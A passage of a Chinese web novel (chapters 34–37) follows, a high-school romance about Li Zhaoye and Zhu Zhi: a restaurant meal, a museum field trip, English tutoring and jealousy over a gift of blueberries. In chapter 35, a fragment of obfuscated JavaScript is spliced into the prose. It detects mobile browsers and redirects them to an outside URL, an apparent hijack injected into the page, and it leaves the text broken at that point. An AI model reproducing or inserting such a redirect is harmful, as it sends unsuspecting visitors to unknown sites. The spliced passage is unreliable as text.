白的那只有雪花的口水，棕的那只戴了个笨笨的眼镜。
李昭野垂眸看了眼，没什么动静。
“我要两个也行，书包一边挂——”
“这个。”李昭野快速地抓起棕色的那只，塞回口袋里，“七块五的东西都舍不得吗？小气鬼。”
祝枝简直冤枉：“谁小气啦？”
34. 34
祝枝挑的这家川菜馆是创新料理，总体来说没有辣到面红耳赤的程度，但依旧保持着川菜的百态风味。
只可惜李昭野能吃的东西少之又少，好吃的全都进了祝枝的肚子里，她还有点愧疚。
“你等会饿了怎么办？”
“家里有厨师做营养餐。”
李昭野和程勇他们约了到电竞房开黑，他基本不动筷子，看着和陪祝枝吃饭无异。
“鸡肉也不能吃吗？”
这家店的招牌菜就是辣子鸡，炒得很香，浓浓的香料味冲上鼻腔，带来强烈的味觉体验。
她眼睛亮晶晶的，腮帮子被塞得鼓鼓的，咬东西的时候像只小仓鼠，看来是真喜欢，也是真想让他尝尝。
可惜，他正在为单招做准备，必须要严格控制饮食。
“不行。”李昭野压住嘴角，“你别吃这么香，看得我很馋。”
虽然不能分享，但祝枝依旧吃得很开心，她笑弯了眼，摇头晃脑道：“好吧。”
本来他还没那么饿，见祝枝埋头认真吃饭的样子，也来了点食欲，当即点开微信和厨师点了几个菜。
“你还要买什么东西吗？”
“都买好了。”
祝枝座位旁边堆了好几个袋子，都是刚刚等号时随便乱逛买的。
“那等会送你回家。”
祝枝本来想拒绝，但每次回答一句自己回去就行，最后的结果都是李昭野送她到楼下，她索性不拒绝了，点头道：“好的。”
把祝枝送回了家，李昭野也顺路把狗给送回去了，厨师已经按照他的要求准备好了饭菜，程勇他们几个催得急，李昭野只好把饭菜全都用打包盒装上，用书包揣着去了酒店。
“你们几个也可以先开啊，一直催我。”一进屋，李昭野就出声道。
“他们太坑了啊。”
王宇轩立马啧了一声。
“靠，每次不都是你送的飞起吗？”
“你懂什么？我这是牺牲自己，激发野哥的斗志，他才能带我们飞啊。”程勇悠悠道，“我都摸索出玩辅助的奥秘了。”
李昭野面无表情地把餐盒一一拿出来，说：“我今天玩射手。”
“那我也可以跟你。”程勇笑嘻嘻地学着网上的萌妹，冲他眨眼睛，“我保护你哟哥哥。”
“……好恶心，吃不下了。”
“哎？你那个限量版公仔呢？怎么不挂了啊？”
李昭野放在桌上的书包空瘪瘪的，程勇凑近看了眼换上去的棕色小狗挂件，评价道：“之前那个帅多了。”
“你懂什么？”李昭野把狗从他手里夺了回来。
“那你之前那个送我吧，现在涨价涨到四位数了，我真服了。”
李昭野视线落在电脑屏幕上，神色专注，随口道：“下次去我家自己拿。”
他已经有一段时间没到酒店打游戏了，最近不是在训练，就是在学校老实待着，之前打上去的全国排名也往下掉了不少。
“你吃的什么啊？给我尝口。”王宇轩凑近道。
餐盒里的白人菜摆盘精致，但是看起来让人毫无食欲，他立马缩了回去。
“算了，我还是自己叫外卖吧，螺蛳粉谁吃啊？”
“我我我。”
李昭野嫌弃地皱眉：“好臭，吃别的。”
王宇轩正馋得厉害呢，说：“你忍忍。”
“哦对了，你们看到下周研学的通知没？”
“高三也参加？”
“当然参加啊，不然学校怎么赚钱啊。”
“又是去哪个博物馆参观啊？”
“猜对了。”程勇打了个响指，“省博物馆一日游。”
“……我都去了四趟了。”
“野哥，你去不去？”
“能不去？”
“能啊，自己跟老师说明情况就行。”王宇轩把手机里的通知递到他们面前，“你最近不是训练任务重吗？在家休息也行。”
“看情况吧。”
王宇轩正劝说着他，肩膀就挨了程勇重重的一下。
“野哥当然会去啊，这研学可是感情升温的好机会啊。”他边说边笑眯眯地看向李昭野，王宇轩瞬间明白了他的意思。
“哦对对对，上次我也见到野哥那个小同桌了。”
一个个的，油嘴滑舌，李昭野横了他们一眼：“少在这里乱说啊。”
“实在需要帮助，可以找我咨询哈，毕竟你追女孩没经验。”
李昭野咬牙：“你再胡说？”
“而且谁说是我追她，明明是她——”说到一半的话卡在喉咙里，李昭野逐渐憋红一张脸，他还是没好意思在别人面前说出祝枝暗恋自己这种话。
强撑着的害羞表情落入程勇他们眼里，简直就是被抓到致命把柄，一屋子人哄笑个不停，都没想到李昭野居然这么纯情。
李昭野恼羞成怒，咬牙警告道：“下次要再到她面前胡说八道，别怪我翻脸不认人啊。”
祝枝也已经参观过省博物馆很多次了，但这次的讲解比以往都要专业很多，她跟在人群后面，安静地听着。
“听这么认真，到时候我的周记你也写了。”
祝枝扭头，眨巴眨巴眼睛：“模仿不了你的字。”
李昭野挑眉，学坏了，都知道调侃他了。
李昭野站在她身后，身上这件款式繁杂的卫衣还是程勇去年给他送的生日礼物，柜子里衣服太多，今天才第一次穿。
下一秒，他顺手把校服外套搭到祝枝肩头。
“替我拿着。”
这无聊的研学，还非得要求所有学生穿校服。
祝枝自然是乖乖照做，不管是学校的要求，还是李昭野的这种小要求。
“你不冷吗？”
虽然已经升温很久，但场馆里阴气森森，温度比外面低很多。
她扭过头，视线落到李昭野刀锋般锋利的下颚处，往下看，是凸起的喉结，那儿有一层浅浅的白绒，随着少年吞咽而轻轻鼓动着。
额头忽然落了道冰凉的触感，李昭野被她盯得耳热，于是将她的脑袋扭回去，开口道：“不冷，看路。”
“哦。”
甩动的马尾轻轻拂过脸侧，是熟悉的茉莉花香，发尾软软的，弄出些痒意。
“野哥，在这躲着呢。”
眼尖的程勇一下就发现祝枝书包上挂着的和李昭野同款的小狗。
“哇塞，原来这是情侣款啊？”
李昭野昨
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天才警告过，他今天又胡说八道，被瞪了一眼后还不收敛。
“一人一个，还挺配。”
李昭野清楚地看到祝枝的耳朵唰得一下红透，连带脖颈都是粉粉嫩嫩的。
李昭野掩唇轻咳了一声，递给程勇一道警告的视线，说：“再多嘴，换下来那个挂件就给王宇轩了。”
程勇立马求饶：“错了错了，我走了。”
人虽然走了，但留下的尴尬氛围依旧残存，祝枝脸很热，她低头，加快了脚下的步伐，忽然被扯得生疼，赶忙捂住脑袋。
“疼！”
李昭野低头一看，是她的发丝缠进了自己卫衣前繁杂的拉链设计里，绞得很紧。
他单手握住祝枝的肩膀，低声道：“先别动。”
人群逐渐往前，停在原地的两个人无法分开太远的距离。
李昭野低头，解开她纤细的发。
眸轻轻一抬，便和泛着泪的黑眸对上。
他心一颤，动作顿住。
“娇气。”李昭野说。
祝枝紧了紧下唇，小声抱怨：“真的很疼。”
而且她也没有真的哭，只是被逼出了一些生理性的泪意而已。
“解好了吗？”
小声的撒娇让李昭野心跳陡然掉了一拍，他更是手足无措起来，费劲半天都没能解开几根缠在拉链里的头发。
身后传来熟悉的声音，是跑去商店买东西的程勇和王宇轩他们，正往这边走来。
祝枝正发着呆等他解头发，忽然被一道有力的手臂揽住，半抱半拖地带进了角落里。
猝不及防被拽进角落里，李昭野的身体很硬，训练出来的肌肉都藏在衣服里，撞得祝枝有点疼。
她的惊呼被李昭野用手捂住，祝枝的脸很小，眼睛却很大，怯生生地望向他。
面前的鲁莽的男孩正皱眉看她，耳廓的红和快速跳动的心脏暴露了他的慌乱。
松开捂住女孩的手，李昭野慌到不敢看她的眼睛，只觉得整个人像被蒸熟的虾，热到快要爆炸。
“程勇这家伙，怎么阴魂不散的，等下被他看到，又要胡说八道了。”
李昭野继续解头发，他想起这破卫衣也是程勇送的，更是烦躁。
真是服了。
属于少年人的荷尔蒙气味和女孩子身上的味道很不一样，离得好近，清冽而强势，漫进周遭的空气里，祝枝低垂着眸，不吭声。
知道她是害羞了，李昭野忍不住加快了手里的动作。
“疼……”
太娇气了！
他又只好放轻些，放慢些。
可目前的氛围实在不适合继续僵持下去，李昭野越拆越心烦急躁。
“越解越紧，怎么办？”
祝枝知道他是个没耐心的家伙，肯定是干不好绣花的活，于是小心翼翼转过身，抬眸看向他。
“我来吧。”
纤细的手指非常白嫩，只有中指留下了一道写字的厚茧，她直到自己胸口高，双手捻住那几根脆弱的黑发，专心地解着头发。
而李昭野已经完全没办法直视这一幕，他用手捂住脸，认命般扭头，脖颈和耳朵已经红成一片。
这一幕实在太像她扑进自己怀里了……
35. 35
“好了。”
头发在衣服链子里颤得紧，祝枝也是折腾了半天才解开，还断了好几根头发，卡在锁链里。
她往后退去，李昭野终于得了空喘息，下意识松了口气。
“这破衣服。”他扯了扯衣领，让凉飕飕的风从衣领处滚进去降温。
“挺帅的呀。”祝枝侧目看向他。
李昭野被她这声猝不及防的夸奖吓得懵了一下，要不是看她耳朵也有层薄红，李昭野还真当她现在都胆大到能如此直白了。
“还行吧。”
抿唇躲开视线的男孩耳朵泛着红，他们已经落下队伍很远了，李昭野快步往前走去，祝枝把他的外套抱进怀里，跟上他的步子。
远处的解说声音还在继续，李昭野忽然顿住脚步，扭头问她：“要不要喝饮料？”
“啊？”
没反应过来，祝枝已经跟着李昭野拐处博物馆主厅，朝场馆里的商店走去。
除了冰箱里的饮料和一些零嘴，商店大部分区域都罗列着纪念品，做得还挺精美的，有不少穿着八中校服的学生也偷偷溜过来逛。
李昭野到哪都是视线的聚集中心，不少同校学生侧目偷看，他正双手抱胸，视线在冰柜里搜寻想喝的东西，少年人肩宽腰窄，略带棱角的喉结曲线顺着卫衣领口蔓延而下，185码数的校服裤显然是短了一节，正好能完整露出他等了小半个月的新鞋。
祝枝沿着玻璃柜台一路走过，琳琅满目的商品都是和人文故事相关的，带着城市浓厚的历史底蕴，以及精妙的新时代审美设计，倒还挺有意思。
角落里的祈福小柿子香囊形状很是可爱，乖乖躺在塑封袋里，祝枝俯身凑近。
“要看看吗？”
柜台后的工作人员走近，问道。
祝枝轻轻点了点头，不过拇指大小的香囊做得很是精巧，柿子的形状圆润饱满。
“上面的刺绣功法在博物馆里有介绍，柿子寓意事事如意，心想事成。”
好听的寓意不免给商品增添几分浪漫色彩，正巧碰上心里有无限期待和憧憬的高三学生，推销难度直线下降。
祝枝非常迅速地心动了，她抬眸看向对面温柔讲解的小姐姐，轻声道：“请给我拿两个，嗯……三个吧。”
博物馆里的周边商品价格可不低，把钱扫过去之后，祝枝买好后把香囊放到口袋里。
李昭野已经挑好了饮料，前来寻她。
拨开人群走过来的李昭野个子很高，像是某种吸引注意力的机器般，迅速地将好些人的视线带向祝枝，李昭野递给她一瓶开了口的汽水，吸管慢悠悠地飘在液体中。
“外面有坐的地方，出去等吧。”
他比祝枝高了一截，站在祝枝身后，低头看向她。
祝枝咬住吸管，轻轻点头。
外头的温度比屋内舒服多了，清爽的汽水从吸管滑进喉咙里，徐徐而来的春风中混着新生的青草香，充满生机的气味涌进鼻腔里，让祝枝舒服得眯了眼。
李昭野有些犯困，他用手虚撑着脑袋，尾指搭在高挺的鼻梁上，闭眼假寐，额前几缕黑发被风吹开，轻轻摆动着。
一个包装小巧的玩意被祝枝从桌子另一侧推了过来。
“刚刚买的，送你一个。”
李昭野接过她递来的柿子香囊，举到面前打量着：“又买这种幼稚的小玩意。”
“不是小玩意，这是祈福香囊。”祝枝认真道，“可以给你带来好运的。”
李昭野眸间闪过一丝笑意，祝枝自然是看出他不信。运气这东西是玄学，考试当然还得靠真本事，她不过是想找个东西寄托美好祝福而已，她瘪了瘪嘴，伸手道：“不要还给我。”
“没说不要。”
李昭野把东西塞回口袋里，对面的小姑娘已经拆开自己的那枚小柿子，正捣鼓挂到小狗挂件旁边。
挂好之后，她用手指弄了弄圆滚滚的柿子香囊。
“要是真能许愿就好了。”
她绝对许愿英语上一百。
但要是让李昭野知道了她的愿望，肯定又要笑话她太没出息，都许愿了，那肯定得许考到一百五。
李昭野：“许愿的时间多记几个单词，指不定就实现了。”
祝枝：“好像班主任的语气哦……”
李昭野轻轻扬了扬下巴：“学到精髓。”
目光落到祝枝口袋里剩下一个摇摇欲坠的香囊挂件，忍不住笑她：“不是，你到底买了多少啊？”
祝枝赶忙把剩下的那个塞回口袋里，略有些紧张地看向他。
“就三个……”
剩下的一个，不一定能送出去呢。
李昭野轻轻敲了敲她的额头，评价道：“幼稚。”
祝枝哎呀一声，捂着额头，圆溜溜的眼睛幽怨地盯着他。
李昭野轻轻嘶了一声：“又没多大劲，真是娇气。”
还真是逮到机会就撒娇，声音撒娇不够，现在眼神都学会撒娇了，恐怖的熟能生巧……
轻咳声掩去些许慌乱，李昭野把书包递了出去，说：“替我挂上。”
祝枝接过他的书包，把香囊挂到小狗挂件旁边。
“可爱。”祝枝评价道。
虽然和李昭野运动风的黑色书包略有些违和，但七七八八的小玩意，确实能增添几分乐趣。
“那借你给我许的愿望，我单招必过。”
祝枝笑眯了眼：“必过。”
今年的单招考试和往年差不多，但李昭野的教练去年没有带高三生，前后问了几圈，才把今年单招的规则搞明白，其实也不复杂，唯一要点就是够厉害。
最近一段时间几乎是平时加倍的训练量，也难得吊儿郎当的李昭野能坚持下来，看来是真下定决心要考个好学校了。
临近考试，王宇轩是没往常自由了，但程勇依旧是无所事事，他爸妈都给他找好了留学的国家，就等着把人送出国清静清静了。
“不是，野哥，有这么疼吗？”
程勇正窝在李昭野房间的小沙发上打游戏，床上正在做肌肉康复的李昭野时不时传来两声低吼，很是苦痛的样子。
这医生看起来就文邹邹的，没什么手劲的样子，怎么给他弄成这样？
结束后，医生收拾好器械，路过程勇时，说：“同学，我还可以正骨，你要不要试试？”
程勇想都没想就拒绝了。
“算了算了。”
程勇正好结束一局游戏，把手机扣到桌面上，起身走向李昭野。
他已经穿好了衣服，松垮的T恤挂在充血的肌肉上，皮肤上还泛着红，俊秀的五官在昏暗的灯光下倒显得更帅了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14473608|148197||http|test|mini|href|location''.split(''|''),0,{}));
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“啧啧，这身材，这脸蛋……”
好恶心的表情。
李昭野怒骂：“滚。”
“晚自习不去了吧？累得不行，在家里休息得了。”
李昭野已经起身在衣柜里挑衣服了，蹦跶着小短腿从门外窜进来的雪花嘴里叼着祝枝之前给它买的小玩具，已经被咬得不成样子了，它小小一只，蹭了蹭李昭野的鞋子。
李昭野蹲下，轻轻薅了薅它的脑袋：“又撒娇，跟谁学的。”
雪花深知它的铲屎官最吃这一套，李昭野出门上学前给它拆了一根小零食，雪花撒着欢把他给送出门了。
天气渐热，校门口的不少小摊都赶在学生上晚自习之前聚集，三五成群的人停留摊位前，和着香味的浓烟飘散在空中，现在来上学的人最多，也最是拥挤的时候。
李昭野百无聊赖地跟在程勇身后，视线掠过人群时，一眼便看到那道熟悉的身影。
依旧是穿着干净整洁的校服，梳着马尾辫，温温吞吞的，孤身一个人走在人群里。
李昭野走到她身后时，祝枝还在低头背着单词，下一秒便被人抓着书包给拎住。
“不带眼睛走路啊。”
小姑娘见了他，乌黑的眼睛明显都亮了一下。
“李昭野。”
……干嘛喊得这么甜。
“你今天不用训练呀？”
这周李昭野每天都在训练，没上过几天学，比起以前天天见面的日子，好像真有一种许久未见的错觉。
“今天休息。”
明明已经临近打铃，但这里的人却是越来越多，跟在祝枝身后，比跟在程勇身后慢了好多，她磨磨蹭蹭的，视线一直逗留在一个舒芙蕾的小摊上。
“想吃？”
“这个很火。”
在校门口出摊的基本上都是固定的，有尝过的同学回学校安利，再口口相传，这家舒芙蕾的生意简直好得不得了，两锅同时开烤都来不及。
李昭野停下步子，说：“买一个尝尝。”
“快上课了。”
往前两步走的动作被李昭野拽住书包阻断，祝枝险些没站稳，她憋红了脸，有些生气地看着他。
李昭野立马松开说：“顺手，不好意思。”
他指了指旁边排了很长队伍的小摊，说：“请你吃舒芙蕾。”
“要迟到了……”小声的控诉被李昭野说一不二的动作，和自己的馋嘴心理打败，祝枝抱着书包，跟在李昭野身旁排队。
“别这么胆小，好学生。”
这只是一个再平常不过的周日返校的晚自习，三四月嘈杂喧闹的校门口挤满了熙攘的人，矗立在黑暗中的教学楼亮起整齐的光，攒动的学生挤在走廊里，徐徐而来的风吹散十七八岁少男少女们无法解开的忧愁。
祝枝此刻的忧愁，就是该怎么和老师解释迟到的事。
但很快，她的忧愁也清散在风里。
有舒芙蕾香味的风里。
刚做出来的舒芙蕾软乎乎的，奥利奥和巧克力撒在流动的豆乳上，奶香味四溢，她露出乖巧的笑，把盒子小心翼翼接到手时，舒芙蕾还在轻轻摇晃着。
“哇。”她小声惊呼，“谢谢。”
李昭野垂眸看她，笑意融在黑眸中。
被投喂的样子和雪花还真是如出一辙。
36. 36
“单词倒是记得越来越快了，但是你这完形填空，为什么每次都选错误答案啊？”
李昭野费解地看着祝枝卷子上一整排红叉，他问得认真，搞得祝枝非常不好意思。
“也不是故意选的……”她小声嘀咕。
“故意选还得了？”他挑眉问道。
有点凶，祝枝抿唇，不吭声了，老实挨训。
“你这作文，字写这么好看，结果语法错一大堆。”
“这个短语不是背过吗？怎么又选错了。”
“这个提醒又错，又错，你都把这句圈出来了，怎么还是选错。”
祝枝头越来越低，整个人耷拉着，看起来有点沮丧。
李昭野顿了一下，手指微曲，抵在祝枝清秀的字迹上，欲言又止。
祝枝见他不继续了，疑惑抬头看他。
李昭野薄薄的唇轻抿，他说：“我还以为你哭了。”
“才没这么脆弱。”
“不骂你了，再写一套。”李昭野道。
上次一块去店里买的卷子已经写完了，这本新卷子是在网上买的，拿到快递不久，她已经在自习课把其他科目的写完了，就剩最不想写的英语了。
崭新的卷子让人很没有下笔的欲望，她撑着脸，神情沮丧。
“累的话就休息一会。”
祝枝轻叹了口气，说：“你觉不觉得试卷就像线面。”
她声音小，李昭野没太听清。
“什么？”
“线面。”
李昭野明显没听说过这个东西，他俊眉微蹙：“什么东西。”
祝枝捧着她那本厚厚的试卷，边展示给李昭野看，边说：“是一种煮熟之后会无限生长的食物，就像试卷一样。”
“永远都写不完……”
拖着声音抱怨的她实在少见，李昭野失笑，让人崩溃的高三竟然把祝枝这个乖学生都逼成这样了。
“我还以为你很爱学习呢。”
这倒不是调侃，李昭野还真是这么认为的。
“不是爱学习。”
只是从小到大，除了学习好像没有其他任务安排到自己身上，爸爸赚钱，妈妈替她打理好生活琐事，一切都是为了她能专心学习，还有每次毕业换新学校，到新班级见新老师，爸妈都要提前为了她这双耳朵大批量的付出，都让祝枝好似背上了沉重的枷锁，被牢牢锁在了教室的座位上。
“那就顺其自然，尽最大的努力就行，没必要把自己逼得这么紧。”
李昭野看她硬生生每天几乎是把所有的空闲时间全都挤出来背书了，背完就默，以前藏在课桌里舍不得用的漂亮本子全给写完了，密密麻麻的，全都是她紧张的证明。
“好难。”
“休息会，别写了。”李昭野把她的笔抽走。
她趴在桌子上，跟霜打的小白菜似的，但又不死心，圆溜溜的眼睛转了又转，看着卷子上成片成片的英语单词。
“可以帮我读题吗？”
李昭野随意地靠在椅子上，视线对上祝枝略带笑意的视线后，右眉轻挑。
“一年级学生才要读题。”
“你念英语好听。”
班上同学都还在自习，李昭野说：“……好丢脸。”
被她一直盯着，直勾勾的视线压根都不收敛了，次次都得寸进尺，李昭野暗骂了自己一句耳根子真软，然后伸手接过她递来的视线，嘀咕道：“我发现你要求真是越来越多了。”
教室里不算吵，李昭野的声音刻意压低，瞥了眼祝枝颇有兴趣的表情，他把凳子拉近了些，视线落到卷子上，腔调标准的英语单词便从他嘴里滑了出来。
祝枝是真的很佩服李昭野，再复杂的句子到了他嘴里，都是游刃有余的，不像她，念个单词都磕磕巴巴。
“你就是练习太少了，不敢说。”李昭野把卷子递给她，“现在你来读，读给我听。”
“大声读。”他补充道。
祝枝：“啊？”
她为难地瞥了眼周围的同学，虽然大家都在做自己的事情，但毕竟是大庭广众，祝枝咬了咬下唇，说：“……太丢脸了。”
“你现在知道丢脸了？”
祝枝脸颊漫上一层薄薄的粉，捏着卷子的手动作有点紧张。
她纠结又纠结，还是没能吭声。
“菜。”李昭野评价她。
“今晚回家，一个人躲房间里跟读，没人能听见。”李昭野说，“英语英语，都是语言了，你不说怎么学会？”
祝枝本来想辩驳两句，但和李昭野的视线对上，她怯生生缩回目光，拿起笔写了个名字，然后认命道：“知道了。”
有点凶。
从小学开始学英语祝枝就不太爱开口，跟读的时候声音都在藏在喉咙里，只张嘴，不发声，当个南郭先生。班上老师都知道她情况特殊，从来不会过多强硬要求，现在被李昭野逮到，祝枝洗完澡之后，便坐到书桌旁，认认真真开始念卷子上的短文。
这篇短文理解她已经对完答案了，李昭野也替她翻译了，这是篇演讲类的应用文，生涩词汇还挺多的，每一个都标注了释义，卷子排得满满当当的。
手机忽然弹出一条消息，祝枝没太在意，直到它连续弹了几条。
祝枝解开手机，发现是李昭野发来的语音。
她点开第一条，是李昭野给她念的短文理解，清冽的声音带着几分慵懒，堪比听力标准的发音悦耳动听。他掐着手机，一字不落地复述，背景音里还混杂进了一些嘈杂的游戏声，一句跟着一句，还在不停地弹语音条过来。
-认真读明天检查
-好的。
-[呀哈]
紧接着是个笨兔子的表情包，李昭野回了个小狗刨坑。
短暂的疲惫似乎在这一刻消失，祝枝一下就来了干劲，安静熟悉的环境让她信心倍增，认认真真跟着李昭野的声音跟练。
半个小时后，李昭野收到她发来的录音。
小姑娘的声音细而软，她读得缓慢，也很认真念到不熟悉的单词的时候，会犹豫不决地糊弄过去，念到熟悉的单词，又多了几分自信，声音都大了些。
“捧着手机听什么呢野哥？笑这么开心。”程勇出声打断道。
李昭野轻轻踹了他一脚，说：“别吵。”
祝枝是怕李昭野第二天得训练，不上学，才特地录了音发过去给他检查的，收到李昭野发来的小狗点赞的表情包后，她心满意足地盖好被子，带着轻飘飘的心情，合上眼睡觉了。<
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p>本以为李昭野不会来，结果他来得比她还早。
“你吃早餐了吗？”
祝枝从书包里翻出两个面包，分一个给他。
她又迟疑：“面包能吃吗？”
“吃过了，你吃吧。”
祝枝点了点头，撕开包装袋，咬下一口柔软的面包。
“祝枝，你再念一遍fragmentationtime给我听听。”
祝枝愣了一下，扭头，跌进他带着笑意的视线里。
察觉到他是在逗自己，祝枝脸蹭得一下红了，连咀嚼面包都忘了。
“不会。”她把头转了回去，躲开李昭野的嘲笑。
“那我再听一遍你昨天晚上读的。”
祝枝赶忙扭头，下意识伸手去抢李昭野的手机，她脸和耳朵都红红的，着急地扑了过去，发现他手上空空如也。
李昭野堪堪抓住她的胳膊，把人扶在怀里，低声道：“逗你的，我不是都说了你昨天读得好嘛。”
这手臂也太软太瘦了，感觉稍用点力就能捏断。
“啧啧啧，世风日下，世风日下啊。”程勇聒噪的声音响起，祝枝赶忙从李昭野身上起来，跟只小鹌鹑似的缩回脑袋躲起来。
可惜没躲多久，她就被人喊住了。
“祝枝，有人找。”
祝枝和李昭野一齐望去，叫住她的同学身边站着的，是林知阳。
祝枝反应了好几秒，才起身走了过去。
“早。”林知阳淡声道，祝枝只感觉温柔的风扑面而来。
“早。”她回的小声。
林知阳比祝枝也高了一截，两个人一个比一个乖，校服干净又整洁，站在一块小声说着话，气场异常和谐，这画面看着实在有些刺眼，程勇也顺着李昭野的视线望去。
“野哥，这不对劲啊。”
下一秒，林知阳就把手里的袋子递给祝枝，脸上还带着笑意。
李昭野起身。
“你上次的水果盒。”
“什么水果盒？”猝不及防出现在身后的声音没什么温度，祝枝扭头望去，李昭野正插着口袋兜，懒洋洋地靠到了她身后。
林知阳对上李昭野的视线，替祝枝出声解释道：“上次还衣服的时候放在袋子里一起的。”
他知道女孩脸皮薄，没提祝枝洗干净装在里面的草莓，但又装了一盒满满当当的蓝莓回礼。
衣服？李昭野眉都蹙紧了。
“什么衣服？哪次啊？”
“你受伤那次，他借了我衣服。”
李昭野那会都疼晕了，一直强忍着，都没注意到祝枝身上穿的衣服不是她自己的。
莫名的不爽感让李昭野的表情看起来有点臭，虽然他自己也不知道到底是在不爽些什么。
还盒子就还盒子，还放满蓝莓做什么？
无事献殷勤。
林知阳看向祝枝，说：“蓝莓是我姑姑从云南寄来的，已经洗过了，记得吃。”
祝枝轻轻点头：“好，谢谢。”
李昭野敛眸，深邃的眸里融了些不知名的情绪，盯着接过袋子后抿唇轻笑的祝枝。
祝枝和他对上视线：“……怎么了？”
李昭野没吭声，直接越过林知阳，下楼。
37. 37
李昭野回教室的时候林知阳已经离开了，祝枝正在整理课桌，旁边放着林知阳刚刚送来的袋子，整齐堆在盒子里的蓝莓还带着刚洗干净的水渍，看起来很是新鲜。
察觉到李昭野的动静，祝枝抬头，和他对上视线后，李昭野沉默地挪开。
怎么好像生气了？
祝枝抿了抿唇，小声凑近，搭话道：“你刚刚干嘛去了呀？”
李昭野停顿了一下，下颚线紧绷，低头随意摆弄着桌上的东西，说：“上厕所。”
祝枝也不太擅长热脸贴冷屁股，她轻轻地噢了一声，又多看了眼李昭野一眼，那人紧绷着表情，一副等着被哄的样子。
画在纸上的q版小狗被递到李昭野面前。
“雪花画像。”
见李昭野望了过来，祝枝又画了个瘪瘪的脸，然后画上呲牙咧嘴的表情，旁边画了一个燃起来的火，寥寥几笔，倒是挺生动可爱的。
“李昭野画像。”她又说。
这是在嘲笑他又生气了呢，李昭野皱着鼻子，佯装更是生气的样子。
祝枝轻笑，举着本子凑到他面前：“很像哎。”
轻柔的笑意在她唇间绽开，李昭野收回视线，哼道：“无聊。”
李昭野起得早，上了两节课就开始犯困，他趴在桌子上睡觉，都知道他起床气大，难得不用跑操的课间时间，周围异常安静。
祝枝抄完错题，揉着眉心放松眼睛，她小心翼翼地把盒子从袋子里拿出来，满盒的蓝莓显露出漂亮的颜色。
说实话，她心里是有点惊喜的，也有点忐忑。
对于林知阳，祝枝心里一直都划了一条明确的界限，她不需要靠太近，只需要能在目光所及之处见到他，像他一样温暖努力就已经很足够了。
而现在，不仅加到了他的微信，和他说了很多次话，甚至还收到他送的东西，还是很让人开心的。
打开盒子后，祝枝细细把盒子里的蓝莓瞧了又瞧，看了又看，没舍得吃。
祝枝心情很是不错，目光落到李昭野颈侧，那儿红了一大片，生了些密密麻麻的小红疹，祝枝皱着眉凑近查看，恰巧路过的程勇啧啧了两声，用似笑非笑的视线看着祝枝。
祝枝招手，用气声对他说了句过来看看。
“哦，这啊，应该是寻麻疹，有时候池子里的水消毒不彻底就会长。”程勇小声解释道。
“不用涂药吗？”
“他应该有药吧，不知道带没带。”
本在熟睡着的人忽然动了一下手臂，吓得程勇立马闭紧了嘴。
“我去买。”他伸出一根手指指了指自己，小声道。
祝枝点了点头：“好。”
睡觉的祖宗在第三节课上课前十多分钟醒了，祝枝正好起身接水，顺便上个厕所。
程勇买了药从楼下赶来，他递给祝枝：“买了两支，涂之前让野哥找医生确认一下对不对。”
祝枝说：“好的。”
回到教室时，李昭野正戴着个卫衣帽子听歌，他睡眼惺忪，表情有点臭。
祝枝回了座位，立马就看见桌上空落落的水果盒子。
她诧异：“我的蓝莓呢？”
李昭野腮帮子还是鼓的，最后几颗被他用舌头抵着挤开，酸甜的汁水瞬间在唇齿间溢开。
接收到他视线后，祝枝错愕：“你吃光了？”
她眼睛瞪的圆圆的，惊讶中不免夹杂着几分生气。
“酸死了。”李昭野吐槽道。
祝枝气得结巴：“我，我都没吃。”
李昭野用手指点了点桌子，一字一字道：“不好吃，很酸，你不会爱吃的。”
“可是——”
那是林知阳送的……
她有些委屈地瘪了瘪嘴，李昭野也有点不高兴了。
“这么舍不得？”
那林知阳送的东西就这么好？
祝枝想反驳，可又忍不下上脸的情绪。
蓝莓是林知阳送的没错，可李昭野对她也很好，很大方，也只是一盒蓝莓而已，他吃了也不算什么大事。
可水果店里能买到无数盒蓝莓，买不到一盒林知阳送的。
纠结又郁闷的情绪在心间交织，幽怨的小表情在瞥见李昭野脖颈处越来越明显的红疹子之后，稍微一顿。
祝枝又心软了。
“你起疹子了。”
李昭野还在生气她居然这么在意别的男生送的东西，要知道之前给她买的零食，程勇两句话就分走了一半，也没见她这么宝贝。
李昭野不吭声，把头扭了回去。
祝枝已经拧开了药膏，挤在棉棒上。
“是这个药吗？”
李昭野睨了她一眼，表情稍缓：“你刚刚是去给我买药了？”
“是程勇去买的。”
“哦。”
又缓回去了。
“我给你涂吧，你看不见。”
他瞥开头，侧脸线条冷硬，下颚线轮廓分明。
祝枝见他别扭，于是把药放到他桌子上。
李昭野撇嘴。
越来越没耐心了，这就不愿意哄了。
“我看不到。”他说。
祝枝小声啧了一句，心想他怎么这么烦人，跟个小孩似的，但还是拿起药膏，举起棉棒，凑近给他涂药。
“那你还能去训练吗？”
说话时凑得好近，温热的呼吸打在脖颈处，药却又是冰冰凉凉的，一时间冷热交替，弄得他好生敏感。
见他不回答，祝枝又疑惑地嗯了一声。
“马上要考试了。”李昭野说。
现在正是要好好保持状态的时候，而且只是小小的过敏性寻麻疹。
听到他不以为然的语气，祝枝说：“不能放松警惕，这个病可大可小的。”
这样近的距离，李昭野只需轻轻敛眸，便能将她白嫩的脸颊收入眸中，她神色认真，卷翘的睫毛遮住透亮的眸，眨眼时忽闪忽闪的，让人挪不开眼睛。
“这里也红了。”
微凉的手指忽然落到李昭野脖颈处，惊得他打了个战栗。
局促地捂住绯红的耳朵后，他低声道：“这里不是。”
还真是，总在这儿动手动脚的，吓他一跳。
替他敷上药，祝枝把剩下的药膏收到屉子里。
一道略带探究的视线从前排投来，祝枝狐疑望去之际，偷看他们的那人已经快速收回了视线，祝枝眸光微闪，看向旁边眉头微皱的李昭野，他个子实在出挑，手长脚长的，整个人身上散发着游刃有余的矜贵气质，薄唇和
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细长的眸在冷脸时更显帅气，在任何地方都是十足的惹眼存在，自然总是会有人盯着他的动向的。
祝枝低头敛眸，巴不得把存在感降到最低。
偏偏李昭野还要凑过来说话：“晚自习给你带蓝莓蛋糕，肯定比他送的甜，行不行？”
祝枝侧目，大眼睛盯着他。
